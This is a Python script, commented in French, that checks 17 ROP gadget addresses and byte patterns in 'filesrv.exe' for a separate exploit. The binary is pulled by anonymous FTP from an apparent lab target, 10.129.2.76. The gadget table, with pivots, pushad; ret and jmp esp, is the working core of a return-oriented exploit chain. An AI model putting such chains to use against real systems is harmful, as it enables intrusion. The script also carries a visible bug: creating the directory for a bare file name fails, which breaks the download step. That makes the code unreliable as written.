#!/usr/bin/env python3
"""Verification exhaustive de TOUS les gadgets ROP utilises dans exploit_v3.py."""
import struct, sys, os

try:
    from capstone import Cs, CS_ARCH_X86, CS_MODE_32
    HAS_CAPSTONE = True
except ImportError:
    HAS_CAPSTONE = False

CIBLE_IP = "10.129.2.76"
EXE_FILE = "filesrv.exe"

GADGETS = [
    (0x01010, "ret",                             [b"\xc3"]),
    (0x0100f, "pop ebp; ret",                    [b"\x5d\xc3"]),
    (0x01068, "pop esi; ret",                    [b"\x5e\xc3"]),
    (0x0dc14, "pop ebx; ret",                    [b"\x5b\xc3"]),
    (0x15354, "pop edi; ret",                    [b"\x5f\xc3"]),
    (0x3711e, "pop eax; ret",                    [b"\x58\xc3"]),
    (0x32ce4, "sub eax, 0x8314c26b; ret",        [b"\x2d\x6b\xc2\x14\x83\xc3"]),
    (0x48ca8, "xchg edi, eax; ret",              [b"\x97\xc3", b"\x87\xf8\xc3", b"\x87\xc7\xc3"]),
    (0x15638, "mov ecx, edi; call esi",          [b"\x8b\xcf\xff\xd6"]),
    (0x3039f, "mov edx, eax; mov eax, esi; pop esi; ret",
                                                  [b"\x8b\xd0\x8b\xc6\x5e\xc3",
                                                   b"\x89\xc2\x89\xf0\x5e\xc3"]),
    (0x3ac3c, "inc ebx; mov eax, edx; ret",      [b"\x43\x8b\xc2\xc3",
                                                   b"\xff\xc3\x8b\xc2\xc3",
                                                   b"\x43\x89\xd0\xc3"]),
    (0x14af9, "jmp eax",                          [b"\xff\xe0"]),
    (0x2bb8e, "mov eax, [eax]; ret",              [b"\x8b\x00\xc3"]),
    (0x113a8, "add eax, edi; ret",                [b"\x01\xf8\xc3", b"\x03\xc7\xc3"]),
    (0x113b1, "pushad; ret",                      [b"\x60\xc3"]),
    (0x11394, "jmp esp",                          [b"\xff\xe4"]),
    (0x11396, "add esp, 0xe10; ret",              [b"\x81\xc4\x10\x0e\x00\x00\xc3"]),
]


def download_exe():
    from ftplib import FTP
    os.makedirs(os.path.dirname(EXE_FILE), exist_ok=True)
    print("[*] Connexion FTP port 21...", flush=True)
    ftp = FTP(CIBLE_IP, timeout=10)
    print("[*] Login anonymous...", flush=True)
    ftp.login("anonymous", "")
    print("[*] Telechargement filesrv.exe...", flush=True)
    with open(EXE_FILE, "wb") as f:
        ftp.retrbinary("RETR filesrv.exe", f.write)
    ftp.quit()
    print(f"[+] filesrv.exe telecharge ({os.path.getsize(EXE_FILE)} bytes)", flush=True)


def rva_to_file_offset(data, rva):
    pe_off = struct.unpack_from("<I", data, 0x3c)[0]
    num_sec = struct.unpack_from("<H", data, pe_off + 6)[0]
    opt_size = struct.unpack_from("<H", data, pe_off + 20)[0]
    sec_start = pe_off + 24 + opt_size
    for i in range(num_sec):
        s = sec_start + i * 40
        va = struct.unpack_from("<I", data, s + 12)[0]
        vs = struct.unpack_from("<I", data, s + 8)[0]
        ro = struct.unpack_from("<I", data, s + 20)[0]
        rs = struct.unpack_from("<I", data, s + 16)[0]
        if va <= rva < va + max(vs, rs):
            return rva - va + ro
    return rva


def disasm(data, offset, count=6):
    if not HAS_CAPSTONE:
        return None
    cs = Cs(CS_ARCH_X86, CS_MODE_32)
    chunk = data[offset:offset+20]
    instrs = []
    for ins in cs.disasm(chunk, offset):
        instrs.append(f"{ins.mnemonic} {ins.op_str}".strip())
        if len(instrs) >= count:
            break
    return instrs


def check_ret_type(data, offset, expected_len):
    """Check if byte after gadget body is ret (C3) vs ret N (C2)."""
    end_byte = data[offset + expected_len - 1]
    if end_byte == 0xc3:
        return "ret"
    if end_byte == 0xc2:
        n = struct.unpack_from("<H", data, offset + expected_len)[0]
        return f"ret {n}"
    return None


def main():
    if not os.path.exists(EXE_FILE):
        download_exe()
    else:
        print(f"[*] Utilise {EXE_FILE} ({os.path.getsize(EXE_FILE)} bytes)")

    with open(EXE_FILE, "rb") as f:
        data = f.read()

    print(f"\n{'='*70}")
    print(f" VERIFICATION EXHAUSTIVE — {len(GADGETS)} gadgets")
    if not HAS_CAPSTONE:
        print(" (capstone non installe — verification par pattern seulement)")
    print(f"{'='*70}\n")

    ok = 0
    fail = 0
    warn = 0

    for rva, name, patterns in GADGETS:
        foff = rva_to_file_offset(data, rva)
        max_pat_len = max(len(p) for p in patterns)
        actual = data[foff:foff + max_pat_len + 4]

        matched = False
        for pat in patterns:
            if actual[:len(pat)] == pat:
                matched = True
                break

        status = "\033[92mOK\033[0m" if matched else "\033[91mFAIL\033[0m"
        hex_actual = " ".join(f"{b:02x}" for b in actual[:max_pat_len + 2])

        if matched:
            ok += 1
            detail = ""
            if actual[len(pat)-1:len(pat)] == b"\xc2":
                n = struct.unpack_from("<H", data, foff + len(pat))[0]
                status = f"\033[91mFAIL\033[0m"
                detail = f" *** ret {n} au lieu de ret! ***"
                fail += 1
                ok -= 1
        else:
            fail += 1
            detail = ""
            for pat in patterns:
                expected_hex = " ".join(f"{b:02x}" for b in pat)
                detail += f"\n          attendu : {expected_hex}"

        print(f"  0x{rva:05x}  {name:<45s}  [{status}]  {hex_actual}{detail}")

        if HAS_CAPSTONE:
            instrs = disasm(data, foff, 4)
            if instrs:
                print(f"          disasm : {' ; '.join(instrs)}")
        print()

    print(f"{'='*70}")
    print(f" Resultat: {ok} OK / {fail} FAIL / {len(GADGETS)} total")
    if fail > 0:
        print(f" \033[91m{fail} gadget(s) INCORRECT(s) — la ROP chain est CASSEE\033[0m")
    else:
        print(f" \033[92mTous les gadgets sont corrects!\033[0m")
    print(f"{'='*70}")


if __name__ == "__main__":
    main()
